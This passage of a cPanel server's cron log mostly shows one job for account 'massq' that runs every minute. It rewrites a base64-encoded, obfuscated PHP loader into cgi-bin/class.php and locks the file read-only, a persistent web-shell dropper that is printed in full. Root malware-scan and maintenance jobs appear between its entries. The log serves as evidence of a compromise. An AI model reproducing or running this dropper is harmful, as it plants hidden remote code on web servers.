JyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:04:01 server CROND[3917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:05:01 server CROND[3985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:05:01 server CROND[3987]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 21:05:01 server CROND[3988]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 21:05:01 server CROND[3986]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 10 21:06:01 server CROND[4112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:07:01 server CROND[4187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:08:01 server CROND[4342]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:09:01 server CROND[4407]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 10 21:09:01 server CROND[4406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:10:01 server CROND[4474]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:10:01 server CROND[4475]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 21:10:01 server CROND[4476]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 10 21:10:01 server CROND[4477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 21:11:01 server CROND[4601]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:12:01 server CROND[4672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:12:01 server CROND[4673]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 10 21:13:01 server CROND[4787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:14:01 server CROND[4965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:15:01 server CROND[5036]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 10 21:15:01 server CROND[5037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 10 21:15:01 server CROND[5038]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 10 21:16:01 server CROND[5164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
